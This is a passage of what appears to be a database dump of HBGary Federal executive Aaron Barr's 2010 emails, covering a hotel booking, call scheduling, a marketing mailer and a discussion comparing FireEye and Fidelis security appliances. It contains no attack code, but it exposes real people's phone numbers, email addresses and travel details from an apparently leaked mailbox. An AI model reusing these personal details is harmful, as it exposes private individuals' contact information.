PMView/Modify/Cancel ReservationHotel InformationMIAMI100 CHOPIN PLAZAMIAMI, FL 33131UNITED STATES&nbsp;1-305-5771000Helpful Links:Local Maps&nbsp;Find AttractionsMake Another ReservationDriving Directions:FROM MIAMI INTL APRT: TAKE 836 EAST TO I-95 SOUTH TO BISCAYNE BLVD, EXIT 2A, DOWN THE RAMP TP BISCAYNE BLVD, THE RIGHT ON CHOPIN PLAZA. FORM NORTH (PALM BEACH, FT. LAUDERDALE): FOLOLW DIRECTIONS ABOVE FROM I-95 SOUTH.Room/Rate InformationType:FIRST Conf - PH - FISGroup Details:ANYONE CAN BOOK RESERVATIONSDaily Valet Parking Fee:$34.00 &nbsp;&nbsp;(USD)Room:&nbsp;STANDARD ROOM PERSON(S) MAX PER ROOM : 2&nbsp;BED TYPE SMOKING PREFERENCE AND VIEW CAN NOT BE GUARANTEED AND WILL BE ALLOCATED UPON ARRIVAL OF GUEST WIRELESS HIGH SPEED INTERNET AVAILABLE AT A CHARGE MARBLE BATHROOM FLAT SCREEN TV MINIBAR HAIR DRYER IRON AND BOARD SAFE DEPOSIT BOXSmoking Preference:No PreferenceNumber of Nights:4Number of Rooms:1Person(s):1 Adult(s), 0 Child(ren)SunMonTueWedThuFriSat&nbsp;&nbsp;Jun 12345678910111213$189.0014$189.0015$189.0016$189.001718192021222324252627282930&nbsp;&nbsp;&nbsp;&nbsp;Mon 14 Jun 2010 - Thu 17 Jun 2010$189.00 USD&nbsp;per night (1 room(s))Total Tax&nbsp;†$98.28 USDEstimated Total Price&nbsp;†:$854.28 USDRules &amp; Restrictions- Check-in Time: 04:00 PM&nbsp;- Check-out Time: 12:00 PM&nbsp;- If you need to modify or cancel your reservation, please do so before 6:00 PM (local hotel time) on Friday, 11 June, 2010 or your credit card will be billed for a minimum of 1 night plus tax- Only the reservation as entered into and confirmed by our system will be honored. Any written or printed confirmation that has been altered may be rejected by the hotel.&nbsp;- As exchange rates may fluctuate from the time a reservation is made until the actual stay, the confirmed rate is guaranteed in the hotel\'s base currency.&nbsp;† As taxes and service charges may fluctuate from the time a reservation is made until the actual stay and during the actual stay, the Total Price is an estimate. Other hotel-specific service charges may also apply. Check with hotel for details. Additional taxes may apply for hotels booked in Tokyo, Japan that exceeds 10,000JPY/person per stay.&nbsp;† Credit card payments relating to Australian hotels incur a merchant service fee of 1.5% in addition to the total amount payable.Have a safe and pleasant trip!&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5908,'aaron_hbgary_com/5908.html'),(6802,'2010-05-28','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004912.M129856P14101Q1657.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Call: Ira & Aaron re: LANL','What does your day look like?  I can try to call you. \r\n\r\n\r\n\r\nOn May 27, 2010, at 7:46 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Ira,\r\n> \r\n> I apologize for missing our call today.  Do you have any time tomorrow?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On May 26, 2010, at 10:25 AM, Ira Entis wrote:\r\n> \r\n>> When: Thursday, May 27, 2010 3:00 PM-3:30 PM. Eastern Standard Time\r\n>> Where: Aaron to call Ira @ 703.957.0001\r\n>> \r\n>> *~*~*~*~*~*~*~*~*~*\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n',7611,'aaron_hbgary_com/7611.html'),(6803,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004912.M375787P14101Q1658.eml','\"Ted Vera\" <ted@hbgary.com>','link','http://www.acq.osd.mil/osbp/sbir/solicitations/sbir102/darpa102.htm\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6203,'aaron_hbgary_com/6203.html'),(6804,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004912.M602765P14101Q1659.eml','\"Ted Vera\" <ted@hbgary.com>','','http://www.acq.osd.mil/osbp/sbir/solicitations/sbir102/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12198,'aaron_hbgary_com/12198.html'),(6805,'2010-05-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004912.M832086P14101Q1660.eml','\"Aaron Barr\" <aaron@hbgary.com>','i lost my cell phone - what is your number?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nI hope you\'re well.&nbsp; Sorry we haven\'t connected yet.&nbsp;&nbsp; I\r\nended up losing my phone on Wed night to make matters worse.&nbsp; &nbsp;What is your\r\ncell number ?\r\n\r\n&nbsp;\r\n\r\nThx.\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13326,'aaron_hbgary_com/13326.html'),(6806,'2010-05-28','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297004913.M332308P14101Q1662.eml','aaron@hbgary.com','Meeting rooms from $13/hr - Book now!','\r\n \r\n\r\n \r\n\r\n \r\nRegus\r\n \r\n \r\n\r\n	\r\n\r\n	\r\n		\r\n				\r\n\r\n\r\n                  \r\n                    \r\n                        \r\n                          \r\n                          \r\n                              \r\n                                \r\n                              \r\n                              \r\n                                \r\n                                    \r\n                                      Having trouble viewing this e-mail? See it online.\r\n                                        Please add email@regusworldwide.com to your address book\r\n                                      &nbsp;\r\n                                      \r\n                                    \r\n                                \r\n                              \r\n                              \r\n                                \r\n                              \r\n                          \r\n                        \r\n                        \r\n                          \r\n                          \r\n                        \r\n                      \r\n                  \r\n                  \r\n                    \r\n                      \r\n                        &nbsp;\r\n                        \r\n                          \r\n                            \r\n                              \r\n                              \r\n                            \r\n                            \r\n                              \r\n                                \r\n                                  &nbsp;\r\n                                  \r\n                                  Dear Aaron Barr,\r\n                                          \r\n                                    Premium meeting rooms at a fraction of the cost of hotel facilities.\r\n                                    Before booking an event or meeting at a hotel, consider Regus. Regus meeting rooms allow you to hold highly productive meetings at a 15% savings over hotel facilities. They come complete with access to high-speed Internet, audiovisual equipment, administrative support, and videoconferencing\r\navailability. Plus you get flexible terms, with no room-night commitments or contracts.\r\n                                    Start\r\n                                  saving now. Call 1-888-271-4615 or click here.\r\n                                  &nbsp;\r\n                                \r\n                              \r\n                              \r\n                                \r\n                                  \r\n                                      \r\n                                        \r\n                                        \r\n                                            \r\n                                              \r\n                                            \r\n                                            \r\n                                              Flexible pricing with no room commitments\r\n                                          \r\n                                            \r\n                                              \r\n                                            \r\n                                            \r\n                                              \r\n                                            \r\n                                          \r\n                                            \r\n                                              \r\n                                                \r\n                                              \r\n                                              \r\n                                                Amenities included at no additional cost\r\n                                              \r\n                                              \r\n                                                \r\n                                              \r\n                                              \r\n                                                \r\n                                              \r\n                                            \r\n                                          \r\n                                              \r\n                                                \r\n                                              \r\n                                              \r\n                                                Easy booking, with no contract and flexible cancellation terms\r\n                                            \r\n                                              \r\n                                                \r\n                                              \r\n                                              \r\n                                                \r\n                                              \r\n                                          \r\n                                          \r\n                                              \r\n                                                \r\n                                              \r\n                                              \r\n                                                On-site administrative support staff with full-service business center\r\n                                            \r\n                                              \r\n                                                \r\n                                               \r\n                                                \r\n                                              \r\n                                          \r\n                                        \r\n                                      \r\n                                  \r\n                                \r\n                                \r\n                                  \r\n                                      \r\n                                        &nbsp;\r\n                                        \r\n                                            \r\n                                              Learn more\r\n                                              \r\n                                          \r\n                                        \r\n                                        &nbsp;\r\n                                      \r\n                                  \r\n                                \r\n                              \r\n                            \r\n                            \r\n                              &nbsp;\r\n                              &nbsp;\r\n                            \r\n                                                    \r\n                          \r\n                            \r\n                              \r\n                            \r\n                            \r\n                              \r\n                                \r\n                                  \r\n                                \r\n                                \r\n                                  \r\n                                    \r\n                                      &nbsp;\r\n                                      \r\n                                        \r\n                                          Prestigious\r\n                                          locations:\r\n                                        \r\n                                        \r\n                                          \r\n                                            \r\n                                              \r\n                                                  \r\n                                                    \r\n                                                  \r\n                                                 \r\n                                                  \r\n                                                    DTC Corporate Center,\r\n                                                    Denver &ndash; from $13\r\n                                                  \r\n                                              \r\n                                              \r\n                                              \r\n                                                \r\n                                                  \r\n                                                \r\n                                                \r\n                                                  UTC La Jolla,\r\n                                                    San Diego &ndash; from $25\r\n                                                \r\n                                                                                            \r\n                                              \r\n                                              \r\n                                                \r\n                                                  \r\n                                                \r\n                                                \r\n                                                  Brickell Bayview,\r\n                                                    Miami &ndash; from $36\r\n                                                \r\n                                              \r\n                                              \r\n                                              \r\n                                                \r\n                                                  \r\n                                                \r\n                                                \r\n                                                  260 Madison Ave.,\r\n                                                        NYC &ndash; from $52\r\n                                                  \r\n                                                \r\n                                                                                            \r\n                                            \r\n                                          \r\n                                        \r\n                                        \r\n                                      \r\n                                      &nbsp;\r\n                                    \r\n                                  \r\n                                \r\n                                \r\n                                  \r\n                                \r\n                              \r\n                            \r\n                             \r\n                              \r\n                            \r\n                            \r\n                              \r\n                            \r\n                            \r\n                              \r\n                                \r\n                                  &nbsp;\r\n                                  1000\r\n                                  locations\r\n                                  &nbsp;\r\n                                  450\r\n                                  cities\r\n                                  &nbsp;\r\n                                  75\r\n                                  countries\r\n                                  &nbsp;\r\n                                \r\n                              \r\n                            \r\n                          \r\n                        \r\n                        &nbsp;\r\n                        \r\n                      \r\n                    \r\n                  \r\n                  \r\n                  \r\n                    \r\n                  \r\n                \r\n			  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n  \r\n  \r\n    &nbsp;\r\n    &copy; Regus\r\n          2010\r\n    &nbsp;\r\n    Offices\r\n      Options\r\n      Solutions\r\n      Services\r\n    \r\n    &nbsp;\r\n    Meeting\r\n              Rooms\r\n      Room Types\r\n      Solutions\r\n      Services\r\n    \r\n    &nbsp;\r\n    Virtual\r\n              Offices\r\n      Benefits\r\n      Case Studies\r\n      Products\r\n    \r\n    &nbsp;\r\n    Disaster\r\n              Recovery\r\n      Assist\r\n      Restart\r\n      Reserve\r\n    \r\n    &nbsp;\r\n    Membership\r\n      Gold\r\n      Platinum\r\n      Platinum Plus\r\n    \r\n  \r\n  \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n					\r\n					\r\n						\r\n					  *Rate reflects complimentary businessworld blue member discount. Hourly pricing based on meeting room accommodating minimum of 4 people during normal business hours. Rates vary by room size and location and do not include additional audiovisual equipment, videoconferencing, or administrative support. Offer valid in participating Regus/HQ locations in U.S. and Canada. Subject to availability.\r\n\r\nRegus Group plc and its subsidiaries (&ldquo;Regus Group&rdquo;) respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may change your requirements by clicking update profile. You can find out more by reading our privacy policy.\r\n					    Regus plc (soci&#233;t&#233; anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street, St Helier, Jersey, JE4 8PX, Channel Islands Jersey Registered Number: 101523\r\n                      \r\n		\r\n					\r\n						\r\n					\r\n			  \r\n\r\n			\r\n	  \r\n	\r\n \r\n\r\n	\r\n\r\n\r\n\r\n',7213,'aaron_hbgary_com/7213.html'),(6807,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004913.M56548P14101Q1661.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: i lost my cell phone - what is your number?','Bummer.\r\n719.510.8478\r\n\r\n From my iPhone\r\n\r\nOn May 28, 2010, at 10:44 AM, Rich Cummings  wrote:\r\n\r\n> Hey Aaron,\r\n>\r\n>\r\n>\r\n> I hope you\'re well.  Sorry we haven\'t connected yet.   I ended up\r\n> losing my phone on Wed night to make matters worse.   What is your\r\n> cell number ?\r\n>\r\n>\r\n>\r\n> Thx.\r\n> Rich\r\n',12360,'aaron_hbgary_com/12360.html'),(6808,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004913.M578119P14101Q1663.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Call: Ira & Aaron re: LANL','ok I am pretty open the rest of the day.  If you want to give me a time to call you I can get Ted on the line as well.\r\n\r\nAaron\r\n\r\nOn May 28, 2010, at 9:33 AM, Ira Entis wrote:\r\n\r\n> What does your day look like?  I can try to call you. \r\n> \r\n> \r\n> \r\n> On May 27, 2010, at 7:46 PM, \"Aaron Barr\"  wrote:\r\n> \r\n>> Ira,\r\n>> \r\n>> I apologize for missing our call today.  Do you have any time tomorrow?\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On May 26, 2010, at 10:25 AM, Ira Entis wrote:\r\n>> \r\n>>> When: Thursday, May 27, 2010 3:00 PM-3:30 PM. Eastern Standard Time\r\n>>> Where: Aaron to call Ira @ 703.957.0001\r\n>>> \r\n>>> *~*~*~*~*~*~*~*~*~*\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12387,'aaron_hbgary_com/12387.html'),(6809,'2010-05-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004913.M800092P14101Q1664.eml','\"John Edwards\" <John.Edwards@agilex.com>,\"John Edwards\" <John.Edwards@agilex.com>','RE: Ever Heard of Fire Eye?','John, all it does it Botnet detection.  It doesn\'t\' do embedded flash, PDF,\r\nmail etc.  It\'s a network layer device.  Do you have a customer that is\r\ninterested in this?  Aaron Barr, who is out there, can tell you the\r\ndifferences.  He can go on site with you and detail what is does and doesn\'t\r\ndo.  I don\'t\' have a box of theirs\' and I know their marketing lit makes it\r\nseem like they do it all.  Any application level stuff, you are on your own\r\nwith them.\r\n\r\n-----Original Message-----\r\nFrom: John Edwards [mailto:John.Edwards@agilex.com] \r\nSent: Friday, May 28, 2010 8:24 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Greg Hoglund\r\nSubject: Re: Ever Heard of Fire Eye?\r\n\r\nDo you guys have, or could you send me a  tradeoff matrix re what this does\r\nwell and what it does not so well?\r\nMore importantly, how Responder and Digital DNA fills the holes.\r\nThis would be very helpful.\r\n\r\nBTW, how is the work at ICE going?  Out customers keep asking for an\r\nenterprise-level qual.\r\n\r\nHave a great weekend,\r\nJohn\r\n\r\n\r\nOn May 27, 2010, at 5:14 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Yes I am familiar with them as is Greg.  It\'s an appliance that does some\r\n> level of packet inspection based upon the SNORT signatures and IDS engine.\r\n> It does not deep dive nor does it do it at line speed.  Really no\r\ndifferent\r\n> than a botnet detector which it was originally.  I think the neatest thing\r\n> about them is the sharing aspect.  They\'ve been around a LONG time trying\r\nto\r\n> sell this technology.  I know investors over at Sequoia pretty well.  It\'s\r\na\r\n> very crowded market they are in against Damballa and Fidelus and a long\r\nlist\r\n> of others.  They are getting some traction which is good, the investors\r\n> replaced the whole management team so I think its\' more focused.     \r\n> -----Original Message-----\r\n> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n> Sent: Wednesday, May 26, 2010 11:59 AM\r\n> To: Greg Hoglund; Penny Leavy\r\n> Subject: Ever Heard of Fire Eye?\r\n> \r\n> Here is there website -- http://www.fireeye.com/ \r\n> \r\n> Have you heard of these guys?  If so, what do you think?\r\n> If not, take a look and let me know.\r\n> John\r\n> \r\n> \r\n\r\n\r\n',16403,'aaron_hbgary_com/16403.html'),(6810,'2010-05-28','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297004914.M292944P14101Q1666.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Ever Heard of Fire Eye?','Thanks Penny -- maybe Aaron and I can get together.\r\nAs you know, I\'m not the technical guy.\r\nJohn\r\n\r\nOn May 28, 2010, at 11:39 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> John, all it does it Botnet detection.  It doesn\'t\' do embedded flash, PDF,\r\n> mail etc.  It\'s a network layer device.  Do you have a customer that is\r\n> interested in this?  Aaron Barr, who is out there, can tell you the\r\n> differences.  He can go on site with you and detail what is does and doesn\'t\r\n> do.  I don\'t\' have a box of theirs\' and I know their marketing lit makes it\r\n> seem like they do it all.  Any application level stuff, you are on your own\r\n> with them.\r\n> \r\n> -----Original Message-----\r\n> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n> Sent: Friday, May 28, 2010 8:24 AM\r\n> To: Penny Leavy-Hoglund\r\n> Cc: Greg Hoglund\r\n> Subject: Re: Ever Heard of Fire Eye?\r\n> \r\n> Do you guys have, or could you send me a  tradeoff matrix re what this does\r\n> well and what it does not so well?\r\n> More importantly, how Responder and Digital DNA fills the holes.\r\n> This would be very helpful.\r\n> \r\n> BTW, how is the work at ICE going?  Out customers keep asking for an\r\n> enterprise-level qual.\r\n> \r\n> Have a great weekend,\r\n> John\r\n> \r\n> \r\n> On May 27, 2010, at 5:14 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> Yes I am familiar with them as is Greg.  It\'s an appliance that does some\r\n>> level of packet inspection based upon the SNORT signatures and IDS engine.\r\n>> It does not deep dive nor does it do it at line speed.  Really no\r\n> different\r\n>> than a botnet detector which it was originally.  I think the neatest thing\r\n>> about them is the sharing aspect.  They\'ve been around a LONG time trying\r\n> to\r\n>> sell this technology.  I know investors over at Sequoia pretty well.  It\'s\r\n> a\r\n>> very crowded market they are in against Damballa and Fidelus and a long\r\n> list\r\n>> of others.  They are getting some traction which is good, the investors\r\n>> replaced the whole management team so I think its\' more focused.     \r\n>> -----Original Message-----\r\n>> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n>> Sent: Wednesday, May 26, 2010 11:59 AM\r\n>> To: Greg Hoglund; Penny Leavy\r\n>> Subject: Ever Heard of Fire Eye?\r\n>> \r\n>> Here is there website -- http://www.fireeye.com/ \r\n>> \r\n>> Have you heard of these guys?  If so, what do you think?\r\n>> If not, take a look and let me know.\r\n>> John\r\n>> \r\n>> \r\n> \r\n> \r\n\r\n',2105,'aaron_hbgary_com/2105.html'),(6811,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004914.M39439P14101Q1665.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Ever Heard of Fire Eye?','Hi John,\r\n\r\nAt its base Fireye collects information from a variety of sources, including Botnet sinkholing and then provides that information as a resource to its deployed appliances.  It does some heuristics on the front end to make some determinations on suspicious network traffic.  It then does some packet inspection for further suspicious activity, and then communicates back with the mother ship to query about the suspicious traffic.  Once it deems something to be suspicious it can actively block.\r\n\r\nThe limitations of this approach are:\r\n1. its at the perimeter.\r\n2. Its only doing packet inspection, so network layer only\r\n\r\nPerimeter based network and packet inspection to detect advanced threats has a limited shelf life.  As malware gets more complex these tools have a more difficult time in detection.  What if i didn\'t use the perimeter as an egress point?  What if I was able to successfully mask my Bot C&C as google queries?\r\n\r\nIn the end you need both host and network/perimeter for the most intelligent protective architecture.  But if I could only have one I would have to go with host, thats where the true battlespace is, the destination if you will.  Its also the one place, no matter what obfuscation mechanisms the threat uses, it all has to come together on the host, decrypt, deobfuscate, and run.\r\n\r\nBTW, while Fidelis doesn\'t have the threat intelligence piece built in they are faster on the wire, have more options in reacting to malicious traffic, and do true session level reconstruction and analysis.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn May 28, 2010, at 11:39 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> John, all it does it Botnet detection.  It doesn\'t\' do embedded flash, PDF,\r\n> mail etc.  It\'s a network layer device.  Do you have a customer that is\r\n> interested in this?  Aaron Barr, who is out there, can tell you the\r\n> differences.  He can go on site with you and detail what is does and doesn\'t\r\n> do.  I don\'t\' have a box of theirs\' and I know their marketing lit makes it\r\n> seem like they do it all.  Any application level stuff, you are on your own\r\n> with them.\r\n> \r\n> -----Original Message-----\r\n> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n> Sent: Friday, May 28, 2010 8:24 AM\r\n> To: Penny Leavy-Hoglund\r\n> Cc: Greg Hoglund\r\n> Subject: Re: Ever Heard of Fire Eye?\r\n> \r\n> Do you guys have, or could you send me a  tradeoff matrix re what this does\r\n> well and what it does not so well?\r\n> More importantly, how Responder and Digital DNA fills the holes.\r\n> This would be very helpful.\r\n> \r\n> BTW, how is the work at ICE going?  Out customers keep asking for an\r\n> enterprise-level qual.\r\n> \r\n> Have a great weekend,\r\n> John\r\n> \r\n> \r\n> On May 27, 2010, at 5:14 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> Yes I am familiar with them as is Greg.  It\'s an appliance that does some\r\n>> level of packet inspection based upon the SNORT signatures and IDS engine.\r\n>> It does not deep dive nor does it do it at line speed.  Really no\r\n> different\r\n>> than a botnet detector which it was originally.  I think the neatest thing\r\n>> about them is the sharing aspect.  They\'ve been around a LONG time trying\r\n> to\r\n>> sell this technology.  I know investors over at Sequoia pretty well.  It\'s\r\n> a\r\n>> very crowded market they are in against Damballa and Fidelus and a long\r\n> list\r\n>> of others.  They are getting some traction which is good, the investors\r\n>> replaced the whole management team so I think its\' more focused.     \r\n>> -----Original Message-----\r\n>> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n>> Sent: Wednesday, May 26, 2010 11:59 AM\r\n>> To: Greg Hoglund; Penny Leavy\r\n>> Subject: Ever Heard of Fire Eye?\r\n>> \r\n>> Here is there website -- http://www.fireeye.com/ \r\n>> \r\n>> Have you heard of these guys?  If so, what do you think?\r\n>> If not, take a look and let me know.\r\n>> John\r\n>> \r\n>> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8707,'aaron_hbgary_com/8707.html'),(6812,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004914.M552467P14101Q1667.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Ever Heard of Fire Eye?','Sure John lets do that.  I am out of town next wed-friday but back around the following week.  Or if its something you need to talk about sooner we can do so over the phone or try and meet on Tuesday.\r\n\r\nAaron\r\n\r\nOn May 28, 2010, at 11:59 AM, John Edwards wrote:\r\n\r\n> Thanks Penny -- maybe Aaron and I can get together.\r\n> As you know, I\'m not the technical guy.\r\n> John\r\n> \r\n> On May 28, 2010, at 11:39 AM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> John, all it does it Botnet detection.  It doesn\'t\' do embedded flash, PDF,\r\n>> mail etc.  It\'s a network layer device.  Do you have a customer that is\r\n>> interested in this?  Aaron Barr, who is out there, can tell you the\r\n>> differences.  He can go on site with you and detail what is does and doesn\'t\r\n>> do.  I don\'t\' have a box of theirs\' and I know their marketing lit makes it\r\n>> seem like they do it all.  Any application level stuff, you are on your own\r\n>> with them.\r\n>> \r\n>> -----Original Message-----\r\n>> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n>> Sent: Friday, May 28, 2010 8:24 AM\r\n>> To: Penny Leavy-Hoglund\r\n>> Cc: Greg Hoglund\r\n>> Subject: Re: Ever Heard of Fire Eye?\r\n>> \r\n>> Do you guys have, or could you send me a  tradeoff matrix re what this does\r\n>> well and what it does not so well?\r\n>> More importantly, how Responder and Digital DNA fills the holes.\r\n>> This would be very helpful.\r\n>> \r\n>> BTW, how is the work at ICE going?  Out customers keep asking for an\r\n>> enterprise-level qual.\r\n>> \r\n>> Have a great weekend,\r\n>> John\r\n>> \r\n>> \r\n>> On May 27, 2010, at 5:14 PM, Penny Leavy-Hoglund wrote:\r\n>> \r\n>>> Yes I am familiar with them as is Greg.  It\'s an appliance that does some\r\n>>> level of packet inspection based upon the SNORT signatures and IDS engine.\r\n>>> It does not deep dive nor does it do it at line speed.  Really no\r\n>> different\r\n>>> than a botnet detector which it was originally.  I think the neatest thing\r\n>>> about them is the sharing aspect.  They\'ve been around a LONG time trying\r\n>> to\r\n>>> sell this technology.  I know investors over at Sequoia pretty well.  It\'s\r\n>> a\r\n>>> very crowded market they are in against Damballa and Fidelus and a long\r\n>> list\r\n>>> of others.  They are getting some traction which is good, the investors\r\n>>> replaced the whole management team so I think its\' more focused.     \r\n>>> -----Original Message-----\r\n>>> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n>>> Sent: Wednesday, May 26, 2010 11:59 AM\r\n>>> To: Greg Hoglund; Penny Leavy\r\n>>> Subject: Ever Heard of Fire Eye?\r\n>>> \r\n>>> Here is there website -- http://www.fireeye.com/ \r\n>>> \r\n>>> Have you heard of these guys?  If so, what do you think?\r\n>>> If not, take a look and let me know.\r\n>>> John\r\n>>> \r\n>>> \r\n>> \r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7874,'aaron_hbgary_com/7874.html'),(6813,'2010-05-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004914.M775291P14101Q1668.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Ever Heard of Fire Eye?','Have u heard of this product?\r\n\r\nhttp://helios.miel-labs.com/downloads/whitepaper.pdf\r\n\r\nAaron\r\n\r\nOn May 28, 2010, at 11:39 AM, Penny Leavy-Hoglund wrote:\r\n\r\n> John, all it does it Botnet detection.  It doesn\'t\' do embedded flash, PDF,\r\n> mail etc.  It\'s a network layer device.  Do you have a customer that is\r\n> interested in this?  Aaron Barr, who is out there, can tell you the\r\n> differences.  He can go on site with you and detail what is does and doesn\'t\r\n> do.  I don\'t\' have a box of theirs\' and I know their marketing lit makes it\r\n> seem like they do it all.  Any application level stuff, you are on your own\r\n> with them.\r\n> \r\n> -----Original Message-----\r\n> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n> Sent: Friday, May 28, 2010 8:24 AM\r\n> To: Penny Leavy-Hoglund\r\n> Cc: Greg Hoglund\r\n> Subject: Re: Ever Heard of Fire Eye?\r\n> \r\n> Do you guys have, or could you send me a  tradeoff matrix re what this does\r\n> well and what it does not so well?\r\n> More importantly, how Responder and Digital DNA fills the holes.\r\n> This would be very helpful.\r\n> \r\n> BTW, how is the work at ICE going?  Out customers keep asking for an\r\n> enterprise-level qual.\r\n> \r\n> Have a great weekend,\r\n> John\r\n> \r\n> \r\n> On May 27, 2010, at 5:14 PM, Penny Leavy-Hoglund wrote:\r\n> \r\n>> Yes I am familiar with them as is Greg.  It\'s an appliance that does some\r\n>> level of packet inspection based upon the SNORT signatures and IDS engine.\r\n>> It does not deep dive nor does it do it at line speed.  Really no\r\n> different\r\n>> than a botnet detector which it was originally.  I think the neatest thing\r\n>> about them is the sharing aspect.  They\'ve been around a LONG time trying\r\n> to\r\n>> sell this technology.  I know investors over at Sequoia pretty well.  It\'s\r\n> a\r\n>> very crowded market they are in against Damballa and Fidelus and a long\r\n> list\r\n>> of others.  They are getting some traction which is good, the investors\r\n>> replaced the whole management team so I think its\' more focused.     \r\n>> -----Original Message-----\r\n>> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n>> Sent: Wednesday, May 26, 2010 11:59 AM\r\n>> To: Greg Hoglund; Penny Leavy\r\n>> Subject: Ever Heard of Fire Eye?\r\n>> \r\n>> Here is there website -- http://www.fireeye.com/ \r\n>> \r\n>> Have you heard of these guys?  If so, what do you think?\r\n>> If not, take a look and let me know.\r\n>> John\r\n>> \r\n>> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11911,'aaron_hbgary_com/11911.html'),(6814,'2010-05-28','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297004915.M349236P14101Q1670.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Ever Heard of Fire Eye?','Aaron,\r\nIt can wait - give me a call when you get back.\r\nHave a great holiday.\r\nJohn\r\n\r\nOn May 28, 2010, at 12:03 PM, Aaron Barr wrote:\r\n\r\n> Sure John lets do that.  I am out of town next wed-friday but back around the following week.  Or if its something you need to talk about sooner we can do so over the phone or try and meet on Tuesday.\r\n> \r\n> Aaron\r\n> \r\n> On May 28, 2010, at 11:59 AM, John Edwards wrote:\r\n> \r\n>> Thanks Penny -- maybe Aaron and I can get together.\r\n>> As you know, I\'m not the technical guy.\r\n>> John\r\n>> \r\n>> On May 28, 2010, at 11:39 AM, Penny Leavy-Hoglund wrote:\r\n>> \r\n>>> John, all it does it Botnet detection.  It doesn\'t\' do embedded flash, PDF,\r\n>>> mail etc.  It\'s a network layer device.  Do you have a customer that is\r\n>>> interested in this?  Aaron Barr, who is out there, can tell you the\r\n>>> differences.  He can go on site with you and detail what is does and doesn\'t\r\n>>> do.  I don\'t\' have a box of theirs\' and I know their marketing lit makes it\r\n>>> seem like they do it all.  Any application level stuff, you are on your own\r\n>>> with them.\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: John Edwards [mailto:John.Edwards@agilex.com] \r\n>>> Sent: Friday, May 28, 2010 8:24 AM\r\n>>> To: Penny Leavy-Hoglund\r\n>>> Cc: Greg Hoglund\r\n>>> Subject: Re: Ever Heard of Fire Eye?\r\n>>> \r\n>>> Do you guys have, or could you send me a  tradeoff matrix re what this does\r\n>>> well and what it does not so well?\r\n>>> More importantly, how Responder and Digital DNA fills the holes.\r\n>>> This would be very helpful.\r\n>>> \r\n>>> BTW, how is the work at ICE going?  Out customers keep asking for an\r\n>>> enterprise-level qual.\r\n>>> \r\n>>> Have a great weekend,\r\n>>> John\r\n>>> \r\n>>> \r\n>>> On May 27, 2010, at 